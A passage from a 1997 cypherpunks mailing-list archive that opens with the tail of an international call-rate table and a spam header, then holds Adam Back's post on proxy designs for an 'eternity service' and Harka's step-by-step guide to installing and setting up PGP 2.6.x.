$1.16	Ascension Island			
$0.28	Australia			
$0.38	Austria			
$0.85	Azerbaijan			
$0.36	Bahamas			
$0.95	Bahrain
$1.18	Bangladesh
$0.64	Barbados
$0.70	Belarus
$0.33	Belgium
$0.93	Belize
$0.78	Benin
$0.44	Bermuda
$1.09	Bhutan
$0.88	Bolivia
$0.64	Bosnia
$0.99	Botswana
$0.69	Brazil
$0.60	British Virgin
$0.75	Brunei
$0.60	Bulgaria
$0.81	Burkina Faso
$0.97	Burundi
$1.31	Cambodia
$1.02	Cameroon
$0.24	Canada
$0.84	Cape Verde Islan
$0.66	Cayman Islands
$1.38	Central African
$1.42	Chad
$0.56	Chile
$0.81	China
$0.62	Christmas Island
$0.68	Colombia
$1.17	Comoros
$1.05	Congo
$1.35	Cook Islands
$0.72	Costa Rica
$0.54	Croatia
$0.83	Cuba
$0.62	Cyprus
$0.48	Czech Republic
$0.28	Denmark
$1.09	Diego Garcia
$1.04	Djibouti
$0.67	Dominica
$0.78	Ecuador
$0.93	Egypt
$0.75	El Salvador
$0.46	Estonia
$1.18	Ethiopia
$0.44	Faeroe Islands
$1.07	Falkland Islands
$1.18	Fiji Islands
$0.32	Finland
$0.28	France
$0.72	French Antilles
$0.74	French Guiana
$0.72	French Polynesia
$1.04	"Gabon, Republic"
$0.76	Gambia
$0.93	Georgia
$0.28	Germany
$0.82	Ghana
$0.54	Gibraltar
$0.48	Greece
$0.67	Greenland
$0.60	Grenada
$0.59	Guadeloupe
$0.38	Guam
$0.72	Guatemala
$1.35	Guinea Bissau
$0.90	Guinea
$0.97	Guyana
$0.74	Haiti
$0.78	Honduras
$0.39	Hong Kong
$0.42	Hungary
$0.46	Iceland
$0.99	India
$0.88	Indonesia
$1.10	Iran
$1.21	Iraq
$0.34	Ireland
$0.69	Israel
$0.34	Italy
$1.17	Ivory Coast
$0.65	Jamaica
$0.36	Japan
$0.88	Jordan
$0.96	Kazakhstan
$1.12	Kiribati
$0.65	Korea
$0.89	Kuwait
$0.99	Kyrgyzstan
$1.50	Laos
$0.55	Latvia
$0.99	Lebanon
$1.03	Lesotho
$0.70	Liberia
$0.63	Libya
$0.37	Liechtenstein
$0.62	Lithuania
$0.37	Luxembourg
$0.87	Macao
$0.67	Macedonia
$1.18	Madagascar
$0.70	Malawi
$0.59	Malaysia
$1.10	Maldives
$1.13	Mali
$0.55	Malta
$1.14	Mauritania
$0.90	Mauritius
$1.28	Mayotte Island
$0.27	Mexico Step 1
$0.32	Mexico Step 2
$0.44	Mexico Step 3
$0.49	Mexico Step 4
$0.53	Mexico Step 5
$0.70	Mexico Step 6
$0.73	Mexico Step 7
$0.75	Mexico Step 8
$1.03	Micronesia
$0.88	Moldova
$0.34	Monaco
$0.99	Mongolia
$0.64	Montserrat
$0.62	Morocco
$0.88	Mozambique
$1.10	Namibia
$1.34	Nauru
$1.50	Nepal
$0.29	Netherlands
$0.66	Nevis
$1.10	New Caledonia
$0.35	New Zealand
$0.84	Nicaragua
$1.09	Niger
$0.81	Nigeria
$1.61	Niue
$0.30	Norway
$1.14	Oman
$1.27	Pakistan
$1.50	Palau
$0.78	Panama
$0.83	Papua New Guinea
$0.92	Paraguay
$0.78	Peru
$0.71	Philippines
$0.46	Poland
$0.44	Portugal
$0.21	Puerto Rico
$1.04	Qatar
$1.15	Reunion Island
$0.65	Romania
$0.67	Russia
$1.07	Rwanda
$0.80	Saipan
$0.46	San Marino
$1.04	Saudi Arabia
$1.40	Senegal
$1.36	Seychelles Isl
$0.99	Sierra Leone
$0.36	Singapore
$0.48	Slovakia
$0.57	Slovenia
$1.04	Solomon Island
$0.63	South Africa
$0.38	Spain
$1.16	Sri Lanka
$0.97	St Helena
$0.73	St Kitts
$0.73	St Lucia
$0.47	St Pierre & Mi.
$0.73	St Vincent
$0.64	Sudan
$1.25	Suriname
$0.68	Swaziland
$0.22	Sweden
$0.29	Switzerland
$1.15	Syria
$0.57	"Taiwan, Republic"
$0.98	Tajikstan
$1.07	Tanzania
$0.89	Thailand
$1.06	Tonga
$0.73	Trinidad & Tobag
$0.74	Tunisia
$0.66	Turkey
$0.99	Turkmenistan
$0.73	Turks & Caicos
$1.05	Tuvalu
$0.91	Uganda
$0.67	Ukraine
$0.75	United Arab Emir
$0.19	United Kingdom
$0.90	Uruguay
$0.99	Uzbekistan
$1.09	Vanuatu
$0.43	Vatican City
$0.48	Venezuela
$1.25	Vietnam
$0.44	Wallis
$1.00	Western Samoa
$0.97	Yemen Arab Rep
$0.97	Yemen Demo Rep
$0.60	Yugoslavia
$0.85	Zaire
$0.91	Zambia
$0.74	Zimbabwe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gsmith@ultragrafix.com
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
To: Friend@public.com
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 12:58:24 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity service proxies
Message-ID: <199705010441.FAA00950@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



[btw what do people think of the practice of putting To: cypherpunks,
and Bcc: coderpunks@toad, cryptography@c2 as I have done here?  I do
this for stuff when I'm interested in comments of people who are on
cryptography but not cypherpunks, similarly for coderpunks to avoid
the non-crossposting issue with coderpunks, and avoid extra moderation
work for Perry with cryptography.  I know you get multiple copies if
you're on all lists, how else does one reach you all?  Myself I have a
procmail recipie which junks multiple copies, like:

:0 Wh: msgid.lock
| formail -D 128000 msgid.cache

]

My announce was rather hurried, and someone suggested to me the use of
a proxy as an architecture for interfacing to the eternity service
rather than the cgi based system I have.

The person who suggested this to me also described some work on a
"universal proxy framework" which is designed to enable things like
"cookie-cutting, onion routing etc."  Also it was suggested this is a
cheaper way to implement a proxy.

Here are some comments on possible architectures for an eternity
service.

There are a number of places where one might put a eternity server:

  - cgi script on your ISP for yourself and others to use

  - cgi script and local web server on your dial up linux box

  - standalone eternity proxy running on an ISP

  - local proxy

  - proxy framework module (local or remote? does it support both)

  - apache module "eternity proxy module"

  - browser plugin (if this has the power to do it)

My ideal interface would have been a web proxy, as this allows the
user to transparently integrate this into their browser.  You may be
able to set your browser to use the proxy to handle *.eternity, and
have the rest go direct, but I'm not so sure on this point.
Regardless, the proxy can forward requests as cacheing proxies do for
documents not in *.eternity.

My first consideration was to get a proof of concept going as quickly
as possible.  What you are looking at is a weekend hack + 3 days
debugging and cleaning up.

Proxies have higher user requirements to set up, you need root, or at
least ability to leave processes running indefinately, and some
mechanism to restart them on reboot (or do it manually).

My cgi-bin implementation allows you to run with cgi access, and cron,
or at a pinch to do without cron even.

Local proxies have higher development costs, in that it involves
windows code to be of use for the majority of users, which has much
higher development cost.  The universal proxy framework (which I am
not familiar with) would allow a local proxy to be implemented more
easily if I understand correctly.

Local handling of at least the last layer of decryption would help
from a security point of view.  Or the local proxy could be a full
eternity server for your own use.

The ones I've made possible with my cgi based implementation are the
first two, I chose them over proxies simply because they are the
easiest to implement first.

Basically what I have implemented is a poor mans remote proxy or (with
a local webserver) a poor unix person's local proxy.  You give it URLs
of the form:

  http://www.foo.com/cgi-bin/eternity?url=http://blah.eternity/blah/

The cgi script modifies on the fly URLs in documents (if they are type
text/html) and involve *.eternity to have prefix:

  cgi-bin/eternity?url=

Well actually it copes with local, and site relative urls also (where
site is the eternity virtual site).  Normal URLs are left as is.

Proxy is the more elegant way to do it as you don't have to re-write
urls on the fly.

There are advantages to running the server (proxy or otherwise) on an
ISP rather than locally:

- if you're using the cgi solution and an SSL web server you get SSL
  encryption on the link.  This way people don't get to see your
  requests, if they are handled locally by your ISP from it's news
  spool.

- it has lower bandwidth requirements which may be an advantage, as
  you don't have to down load all the eternity documents, only the ones
  you want to read as you browse them

- if the eternity server is running on your ISP and the ISP has a
  local newspool people outside the ISP can not see your requests go
  to the NNTP server to see which articles you are reading.

There are some advantages to local proxies:

- you don't rely on the ISP or the eternity service operator not to
  log exdirectory URLs, and not to log your accesses.  (However note
  that your ISP can observe your use of the NNTP server, unless you
  protect against this by saving all eternity web pages locally, so
  that you never have to do a NNTP lookup per article).

- if you are accessing URLs which are private (encrypted with a
  password inside the final layer) you don't need to give this
  password to the server to get it to decrypt for you.  (You don't
  need to with the remote proxy, but you get back a PGP message which
  you then have to manually decrypt, unless you can figure out a
  browser plugin to automatically decrypt PGP documents on the fly as
  they are read).

A local proxy used in combination with remote proxy or cgi-proxy would
allow another architecture.  Your local proxy obtains it's article
hash -> message-id/newsgroup/article-number database from a real
remote eternity proxy which is watching news as it comes in.

Then it can fetch the articles itself with lower overhead.

Another architecture (moving more towards Anderson's meaning of an
eternity service) is the idea of forwarding requests between eternity
servers.  In this way the eternity servers would be "remailing" your
requests.  If your entry point into the eternity service network was
via an SSL protected link, and the links between the eternity servers
were encrypted, the eternity servers as a whole would disguise who was
accessing what.  You could allow proxying of normal web pages too, and
create a distributed version of anonymizer.com as a side effect.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 1 May 1997 18:33:10 +0800
To: cypherpunks@toad.com
Subject: PGPSteps
Message-ID: <33686DFB.3899@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain

I've done a semi-major update of "PGPSteps" and included key revokation
in the set-up part. Also various URL's were added/corrected/updated.
I've tried to include Windows 95 references as well (where applicable).
By now I consider "PGPSteps" "complete" in terms of the installing
procedure. I hope, it's still simple and easy, although it's a couple
page longer now.

If you have any comments, corrections etc., please let me know.

Ciao

Harka

PS: Dave, please update it on the Web page. Thanks :)

-- 

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


-----BEGIN PGP SIGNED MESSAGE-----


                            PGPSteps                  
                            --------   
                    Pretty Good Privacy (PGP)               
                   Installation - Step by Step 

by Harka <harka(at)nycmetro.com>

last updated: 05/01/1997

"PGPSteps" (c) may be distributed freely without charge, left
unchanged and the intact signature. The latest version is available
by sending an e-mail to harka(at)nycmetro.com with the subject:
SEND PGPSTEPS  (finger for update info).
See also http://bureau42.base.org/public/pgpsteps.txt for a recent
version.

Note: This document is intended for first-time PGP users. It is
meant as a short step-by-step reference guide for the installation
of PGP (Pretty Good Privacy), versions 2.6.2 and 2.6.3i, on an IBM
compatible computer running DOS/Windows.
However, it is _not_ meant to replace the PGP-documentation in any
way. As a matter of fact, it is highly recommended to read at least
pgpdoc1.txt (included in the PGP-distribution) _before_  actually
installing the program.
Much more additional info not covered here you'll also find in the
various comprehensive FAQ's (see FURTHER INFORMATION at the end).

Portions from the PGP documentation have been used herein. Thanks
to Philip Zimmermann, Perry Metzger, Colin Plumb, Derek Atkins,
Jeffrey I. Schiller, all of the Cypherpunks list and others.

It might be useful to print this document out as a reference.
====================================================================

So you feel like having some more privacy by using PGP?
Wise decision! Congratulations :)


 All install steps in short
 --------------------------

  --download the respective PGP version
  --create C:\PGP directory
  --copy the downloaded zip into C:\PGP
  --unzip pgp262.zip (pgp263i.zip) into the C:\PGP directory
  --unzip second archive pgp262i.zip (pgp263ii.zip) into the C:\PGP
    directory, recreating the directories by using pkunzip's -d
    option
  --edit autoexec.bat, adding the lines
    SET PGPPATH=C:\PGP
    SET PATH=C:\PGP;%PATH%
    and
    SET TZ= (see below).
  --save autoexec.bat and reboot
  --create key pair with  pgp -kg
  --sign key with  pgp -ks yourID -u yourID  (only version 2.6.2)
  --add keys from keys.asc to your public keyring with
    pgp -ka keys.asc
  --verify integrity of PGP distribution archive with
    pgp pgp262i.asc pgp262i.zip (pgp pgp263ii.asc pgp263ii.zip)
  --copy keys and the downloaded zip-file to floppy as a backup
  --create Key Revokation Certificate with  pgp -kd yourID
  --extract revoked key with  pgp -kxa yourID revoke  into a file
    called revoke.asc
  --copy revoke.asc to the backup disk
  --copy secring.pgp and pubring.pgp from backup disk back into the
    C:\PGP directory, overwriting the revoked keys
  --write-protect backup disk and keep in a safe location
  --add public key to a key server (optional)
  --have fun

(it all sounds more complicated than it is...promised :))


 Getting PGP
 -----------

The latest official US-version is PGP 2.6.2 (freeware). If you are
a citizen of the United States, you can download pgp262.zip from
the Massachusetts Institute of Technology (MIT) at
http://web.mit.edu/network/pgp.html

The latest international version is 2.6.3ia (freeware). If you live
in any other country than the US, you can download pgp263i.zip from
the International PGP-Homepage at
http://www.ifi.uio.no/pgp/

The reason for two separate versions are patent law issues. If you
use the international version in the US (or vice versa) you might
be in violation of these patent laws.
Both versions are, however, essentially the same thing. Therefore
download and use the one, that applies to you.


Having downloaded PGP, create a C:\PGP directory.
In DOS you can use  MD PGP  from the C:\ prompt and in Windows 3.1
you can use the File Manager. Here go to the FILE menu and CREATE
DIRECTORY (in Windows 95: EXPLORER/select MAIN FOLDER
(c:)/FILE/NEW/FOLDER, name the new folder PGP).

Copy the downloaded pgp262.zip (or international pgp263i.zip) into
your new C:\PGP directory. You might want to copy pkunzip.exe into
your PGP directory as well - makes things easier :).
(You will need PKUNZIP version 2.04g or later to uncompress and
split the PGP262.ZIP archive file into individual files. PKUNZIP is
shareware and is widely available on MSDOS machines. A
Windows-version called WINZIP is available as well. More details if
necessary you'll find in the PGP documentation in a file called
setup.doc.)

Unzip the archive in the C:\PGP directory with:

pkunzip pgp262.zip

or

pkunzip pgp263i.zip 


Now you'll find a second zip file pgp262i.zip (pgp263ii.zip) in
your PGP directory, plus a corresponding file pgp262i.asc
(pgp263ii.asc).
The .asc (ASCII)-file is the signature, that let's you verify the
integrity of the archive (after you've installed PGP).

Unzip pgp262i.zip (pgp263ii.zip) with:

pkunzip pgp262i.zip -d

or

pkunzip pgp263ii.zip -d

Remember to recreate the directories by using pkunzips -d option!
(You should now have a subdirectory within C:\PGP called DOC, i.e.
C:\PGP\DOC. As you might have guessed already, that contains the
PGP documentation :)).



 Setting the Environment
 -----------------------

Next, you can set an MSDOS "environment variable" to let PGP know
where to find its special files. Use your favorite text editor to
add the following lines to your AUTOEXEC.BAT file (usually on your
C: drive):

   SET PGPPATH=C:\PGP
   SET PATH=C:\PGP;%PATH%

In DOS you can use EDIT by typing  EDIT C:\AUTOEXEC.BAT . You'll
probably already have a couple of SET lines, just put the one's for
PGP in there somewhere.
In WINDOWS 3.1 you can go to Program Manager (the main screen) and
go to the menu FILE, RUN and type  SYSEDIT (in Windows 95 use
START/RUN/SYSEDIT). This will open several files, including the
AUTOEXEC.BAT. Go to that window and include the SET lines from
above.

Substitute your own directory name if different from "C:\PGP".

While you're editing the AUTOEXEC.BAT, include the TZ variable as
well. The TZ (Time-Zone)-variable tells MSDOS what time zone you
are in, which helps PGP create GMT timestamps for its keys and
signatures. If you properly define TZ in AUTOEXEC.BAT, then MSDOS
gives you good GMT timestamps, and will handle daylight savings
time adjustments for you. Here are some sample lines to insert into
AUTOEXEC.BAT (see above on how to), depending on your time zone:

For Los Angeles:  SET TZ=PST8PDT
For Denver:       SET TZ=MST7MDT
For Arizona:      SET TZ=MST7
   (Arizona never uses daylight savings time)
For Chicago:      SET TZ=CST6CDT
For New York:     SET TZ=EST5EDT
For London:       SET TZ=GMT0BST
For Amsterdam:    SET TZ=MET-1DST
For Moscow:       SET TZ=MSK-3MSD
For Aukland:      SET TZ=NZT-13

Your AUTOEXEC.BAT should now look similar to this example:

@ECHO OFF
C:\MCAFEE\VSHIELD /anyaccess /xmsdata /only a:
PROMPT $P$G
PATH=C:\NC;C:\DOS;C:\;C:\NC\WINSOCK;C:\WINDOWS;C:\MCAFEE
SET PGPPATH=C:\PGP
SET PATH=C:\PGP;%PATH%
SET TZ=EST5EDT
SET MIXPATH=C:\NC\PI
SET TEMP=C:\TRASH
SET WINPMT=[WINDOWS] $P$G
SET BLASTER=A220 I5 D1 T4
SET GALAXY=A220 I5 D1 K10 P530 T6
C:\DOS\SMARTDRV.EXE 1024 512 /X
C:\MCAFEE\VSHIELD /reconnect
win :


If it does, EXCELLENT! Now save it and reboot your system to run
AUTOEXEC.BAT, which will set up PGPPATH and TZ for you.


 Generating Your First Key
 -------------------------

Being new to PGP, it might be a good idea to create a test key
first, so that you can play around with it and even pretend to send
messages back and forth. That will give you some feeling on how it
works (and also take some of the fear away :)). But note, that this
is for _testing_ purposes only, it's not your actual key yet! I
recommend to play around in DOS using the command lines, so when
you use one of the many shells and front-ends available later on,
you'll know what's going on "behind the scenes".

To generate your test key, go to DOS and type:

pgp -kg

Since this will be a test key only, choose the smallest key size
(1), make your keyID  Test Key <test@test.com>  and the pass phrase
TEST.
Then generate the key.

Now you'll find two new files in your C:\PGP directory: secring.pgp
(your secret keyring) and pubring.pgp (your public keyring).
Basically you're ready to play now.

You might want to start by signing your own public key (Note: the
international version 2.6.3i already does that automatically for
you during key generation) by typing:

pgp -ks test -u test

("test" being the ID for the key, that you sign and the second
"test" the ID, that will be used to sign with. Since you sign your
own key, both ID's are the same. Later on with your real key,
however, the ID "test" will be replaced by your actual name and the
key to be signed will very likely be somebody else's).

You could also add the public keys from C:\PGP\keys.asc to your
public keyring with:

pgp -ka keys.asc

After having added the keys, you now can also verify the integrity
of the PGP archive (good idea!) by typing:

pgp pgp262i.asc pgp262i.zip

or

pgp pgp263ii.asc pgp263ii.zip

PGP should tell you that it has a Good Signature from:

Jeffrey I. Schiller <jis(at)mit.edu>

It will also tell you that it doesn't "trust" the (jis(at)mit.edu)
key. This is because PGP does not *know* that the enclosed key
really belongs to Jeffrey.
Don't worry about this now. Read the section "How to Protect Public
Keys from Tampering" in Volume 1 of the PGP manual.

(If you get a Good Signature, you could now actually delete
pgp262i.zip & pgp262i.asc or pgp263ii.zip & pgp263ii.asc to save
some space. But keep the original archive that you downloaded
around.)

Or you can take some document and sign it clear-text with

pgp -sta filename

and then verify it by typing

pgp filename.asc


Or you can encrypt files, sign them, wipe them, extract keys, check
fingerprints or, or, or...

At the end of this document you'll find a very helpful command line
summary with enough options to play with. And, of course, read the
actual PGP documentation before you move on to the next step!!


 Getting set up for real
 -----------------------

Alright, you've played around with PGP, might have generated
several keys, sent messages "back and forth", read the
documentation and maybe the FAQ's, and generally you feel pretty
comfortable with it. Of course, you actually want to now use PGP in
the "real world". :)

Since you've edited the autoexec.bat, have set up the PGP directory
etc. already during the test run, all you actually have to do to
get back to "ground zero" is delete the files C:\PGP\SECRING.PGP,
C:\PGP\SECRING.BAK (if there), C:\PGP\PUBRING.PGP and
C:\PGP\PUBRING.BAK (if there).

Now generate your actual key with:

pgp -kg

This time choose at least "military grade" (option 3, 1024 bits)
for your key size. Note, that both 2.6.2 and 2.6.3i support up to
2048 bit keys. If you want the maximum key size, you'll have to
actually type 2048, instead of simply choosing 1, 2 or 3.

For the key ID use the generally used format of:

firstname lastname <handle@domain.name>

example:

John Doe <jdoe@whatever.com>

(including the < >).


Now choose a _strong_ and _long_ passphrase. At least 20 different
characters are recommended. Try to avoid simple words but include
as many different (random) characters as possible.

Example: 

Passphrase "Thomas" is really not a good one, especially if that's
your name.

"Thomas is wandering over the Red Square" is better already, but
wouldn't stand long either to a dictionary attack.

"Th0m@$iswaN-Der1ngOVE/RtH%r&dS\QA~<" would therefore be a much
better choice.

Use your imagination and remember: long, unguessable and many
different characters!

(see also the Passphrase FAQ and the Diceware Homepage in FURTHER
INFORMATION on how to get a good passphrase)


_Never_ write your passphrase down, don't tell it to anybody (not
even to your boy/girlfriend, husband, mother or whomever!) and
never let anybody look over your shoulder, when you type it in!!

Now finish generating the key. Btw., when it comes to "type some
random text", don't hit the same key over and over again :). Type
your favorite poem or an article from the newspaper until it beeps.

Sign your own key again with  pgp -ks yourID -u yourID  (only
2.6.2.) and then make backup copies of the keys and the original
pgp zip-archive (that you downloaded) to a floppy disk.

While you're at it, extract your public key with  pgp -kxa yourID
yourID  and copy yourID.asc to the disk as well.
Keep this file on your hard drive too; you'll probably need it quite
often to cut & paste your public key from into e-mail.


Next create a Key Revokation Certificate.
This will be used in case you either somehow loose your secret key
completely or if somebody has gotten a copy of your secret key and
you have reason to believe, that they got (or will get) your
passphrase too. Obviously something you want to avoid at all costs!

A Key Revokation Certificate is basically your public key with a
stamp "REVOKED" on it. This you can send to people (or a key
server) if your secret key ever gets compromised. It will
essentially tell their PGP: DON'T USE yourID's KEY EVER AGAIN
'CAUSE IT'S COMPROMISED!  (see also PGP-documentation).

Before you create your Revokation Certificate, make sure that you
have made backup copies of your keys (secring.pgp and pubring.pgp)
to the floppy-disk. You will need them!
To revoke your key type:

pgp -kd yourID

You'll have to type in your passphrase and then your key get's
revoked. If you check with  pgp -kc yourID , you'll see, what it
looks like.

Next extract your (now revoked) key with:

pgp -kxa yourID revoke

into a file called revoke.asc. This is the file, that you'll send
to people in case your secret key get's compromised.
Copy the Key Revokation Certificate (revoke.asc) to the floppy-disk
with your backup-keys.

Now all you actually have to do to get your keys from "REVOKED"
back to "normal" is to copy the backups (secring.pgp and
pubring.pgp) from the floppy-disk back into your C:\PGP directory.
Overwrite the existing (revoked) keys with the backups.
If you now check with  pgp -kc yourID, you should see your regular
public key again (no "REVOKED" anymore).


On your backup disk you should now have at least the following
files:

pgp262.zip      -the original PGP-distribution archive 
(or pgp263i.zip)
secring.pgp     -your secret keyring
pubring.pgp     -your public keyring
yourID.asc      -your normal public key
revoke.asc      -your revoked public key (Revokation Certificate)
autoexec.bat    -(optional)

Write-protect the disk and keep it in a safe place, where _nobody_
but you has access to it.


That's almost it for installing PGP...

As an optional step, you might want to make your public key
generally available by sending it to a public key server.

See http://www-swiss.ai.mit.edu/~bal/pks-toplev.html

for an easy Web-form, where you can submit your own key or get the
public keys from others (works also via e-mail).

Check http://www.pgp.net/pgpnet/www-key.html for other WWW-key
servers.


You're finished with the setup now and ready to roll!!
(Was pretty easy, huh? :))


 Most common mistakes in the beginning
 -------------------------------------

1. Sending your secring.pgp and/or your passphrase to somebody
   else.

DON'T!! You don't need to share any of this with public key
cryptography (see PGP documentation for more details). All that
people need to encrypt mail to you or check your signature is your
_public_ key.

2. Sending the entire file pubring.pgp to somebody else.

No need to either. Extract only your _own_ key with  pgp -kxa
yourID filename  into a file.
This file you can now send either as attachment or simply cut &
paste the key into your e-mail window and send it as regular e-mail
(the same applies to the Revokation Certificate in revoke.asc; in
case you ever need it).

3. Writing down your passphrase.

As strange as it may seem, but despite all warnings a lot of people
still do that. DON'T! EVER!
Besides, after using PGP on a daily basis, you really should not
forget your passphrase anymore anyway.

4. Not keeping physical control of secring.pgp

Don't let _anybody_ get a copy of your secret keyring. Because the
only thing, that will stand from there between them and all your
e-mail is your passphrase. And if it's a weak one (that they can
crack or guess) or they even know it (see "Writing down your
passphrase"), then it's over with security and privacy. And that
would be very unfortunate indeed.
The same applies to the floppy disks with the backups.

As a common tag line on the Internet goes:

"My public key you can get with the subject: Send public key.
 My secret key you can pry out of my cold, dead fingers!!"

5. Not being careful with plain-text(s)

PGP only protects messages and files as long as they are encrypted.
If you save the de-crypted text(s) to your hard drive or even print
them out and leave them laying around on your desk, then PGP can't
help you anymore either, if somebody finds it.
So either delete the files (wipe them with  pgp -w filename) or
encrypt them to yourself or encrypt them conventionally (pgp -c
filename), if you need to keep them.

6. Not reading the PGP documentation at least once

no comment, except RTFM!


 Front Ends and Plug-In's
 ------------------------

Of course, most of us get pretty tired after a while doing
everything manually via command lines. That's where so called
front-ends come in. These are additional programs, that make things
like PGP much easier to use.

There are literally tons of them out there (check
http://www.ifi.uio.no/pgp/utils.shtml) for some of them.

Personally I recommend the following three:

** AutoPGP ** by Stale Schumacher <staalesc(at)ifi.uio.no>, the
same guy, who also wrote the international PGP version 2.6.3i.
(Shareware; registration fee is 15$)

This is a DOS program designed to work together with
QWK/SOUP-standard offline mail readers, such as OLX, Blue Wave, 1st
Reader etc.. It makes sending/receiving PGP messages really, really
easy, especially if you have lots of them.

check http://www.ifi.uio.no/~staalesc/AutoPGP/ to download it.


** Private Idaho ** by Joel McNamara <joelm(at)eskimo.com>
(Freeware)

A Windows front-end not only for PGP, but also for anonymous
remailers and NYM-servers. Nice and easy to use interface, and it
works together with most popular mail programs. If you have a SLIP
or PPP connection, you can even send/receive PGP messages right
from Private Idaho itself. If not, you can "port" messages from the
PI window into your regular mail program (Netscape Mail, for
example) with the click of a button. If that doesn't work, you can
still write your messages in Private Idaho, encrypt/sign them and
then cut & paste it into your normal e-mail program (and vice
versa, of course).
It also comes with a PGP Quickstart file for Windows, in case you
really don't feel comfortable setting up PGP in plain DOS. But why
would you, since you're reading this...:)

check http://www.eskimo.com/~joelm/ to download it.


** PGPMail ** by Pretty Good Privacy Inc.
(29,95 $ for US users, who have PGP 2.6.2 already installed)
Contact: <pgpservice(at)pgp.com>

- From the masters themselves a full-featured plug-in for the Windows
95/NT versions of Eudora 3.0 and Netscape Mail. You actually don't
even need to have the freeware PGP version installed. All you'd
need is PGPMail 4.5 (pgpmail45.exe). However, the price given above
is a special discount given to PGP 2.6.2 freeware users (see web
page for details).
PGPMail 4.5 makes PGP-encryption not only easy, but fast as well.
During installation it will add a few buttons to your Eudora
window, which means, that you never have to leave Eudora (or
Netscape) to encrypt/decrypt/sign etc..
Highly recommended, for newcomers and seasoned PGP-users alike.

check http://www.pgp.com/products/PGPmail.cgi to download it
(US-citizens only).

PGPMail is export-controlled software. Therefore a URL outside the
US can not be provided here. If you live outside the US and you use
Windows 95/NT, you might want to check the windows95 directory at:

ftp://ftp.replay.com/pub/replay/pub/pgp/pc/

for any other front-ends and/or plug-in's available.



 Here's a quick summary of PGP v2.6x commands
 --------------------------------------------                                      

To encrypt a plaintext file with the recipient's public key:
     pgp -e textfile her_userid

To sign a plaintext file with your secret key:
     pgp -s textfile [-u your_userid]

To sign a plaintext file with your secret key and have the output
readable to people without running PGP first:
     pgp -sta textfile [-u your_userid]

To sign a plaintext file with your secret key, and then encrypt it
with the recipient's public key:
     pgp -es textfile her_userid [-u your_userid]

To encrypt a plaintext file with just conventional cryptography, type:
     pgp -c textfile

To decrypt an encrypted file, or to check the signature integrity of a
signed file:
     pgp ciphertextfile [-o plaintextfile]

To encrypt a message for any number of multiple recipients:
     pgp -e textfile userid1 userid2 userid3

- --- Key management commands:

To generate your own unique public/secret key pair:
     pgp -kg

To add a public or secret key file's contents to your public or
secret key ring:
     pgp -ka keyfile [keyring]

To extract (copy) a key from your public or secret key ring:
     pgp -kx userid keyfile [keyring]
or:  pgp -kxa userid keyfile [keyring]

To view the contents of your public key ring:
     pgp -kv[v] [userid] [keyring]

To view the keys in the keyring with the signatures:
     pgp -kvv [userid] [keyring] 

To view the "fingerprint" of a public key, to help verify it over
the telephone with its owner:
     pgp -kvc [userid] [keyring]

To view the contents and check the certifying signatures of your
public key ring:
     pgp -kc [userid] [keyring]

To edit the userid or pass phrase for your secret key:
     pgp -ke userid [keyring]

To edit the trust parameters for a public key:
     pgp -ke userid [keyring]

To remove a key or just a userid from your public key ring:
     pgp -kr userid [keyring]

To sign and certify someone else's public key on your public key ring:
     pgp -ks her_userid [-u your_userid] [keyring]

To remove selected signatures from a userid on a keyring:
     pgp -krs userid [keyring]

To permanently revoke your own key, issuing a key compromise
certificate:
     pgp -kd your_userid

To disable or reenable a public key on your own public key ring:
     pgp -kd userid

- --- Esoteric commands:

To decrypt a message and leave the signature on it intact:
     pgp -d ciphertextfile

To create a signature certificate that is detached from the document:
     pgp -sb textfile [-u your_userid]

To detach a signature certificate from a signed message:
     pgp -b ciphertextfile

- --- Command options that can be used in combination with other
    command options (sometimes even spelling interesting words!):

To produce a ciphertext file in Ascii radix-64 format, just add the
- -a option when encrypting or signing a message or extracting a key:
     pgp -sea textfile her_userid
or:  pgp -kxa userid keyfile [keyring]

To wipe out the plaintext file after producing the ciphertext file,
just add the -w (wipe) option when encrypting or signing a message:
     pgp -sew message.txt her_userid

To specify that a plaintext file contains ASCII text, not binary, and
should be converted to recipient's local text line conventions, add
the -t (text) option to other options:
     pgp -seat message.txt her_userid

To view the decrypted plaintext output on your screen (like the
Unix-style "more" command), without writing it to a file, use
the -m (more) option while decrypting:
     pgp -m ciphertextfile

To specify that the recipient's decrypted plaintext will be shown
ONLY on her screen and cannot be saved to disk, add the -m option:
     pgp -steam message.txt her_userid

To recover the original plaintext filename while decrypting, add
the -p option:
     pgp -p ciphertextfile

To use a Unix-style filter mode, reading from standard input and
writing to standard output, add the -f option:
     pgp -feast her_userid outputfile


 Further Information
 -------------------

All of the following FAQ's and sites have much more additional
information not covered here, URL's, book references, ftp-sites
etc.. Check 'em out...

Where to get the latest PGP (Pretty Good Privacy) FAQ; by Peter
Herngaard <pethern(at)datashopper.dk>:

ftp://ftp.csn.net/mpj/getpgp.asc


The Beginners Guide to Pretty Good Privacy; by Bill Morton
<wjmorton(at)nbnet.nb.ca>:

http://www.clark.net/pub/rothman/pgpbg11.asc


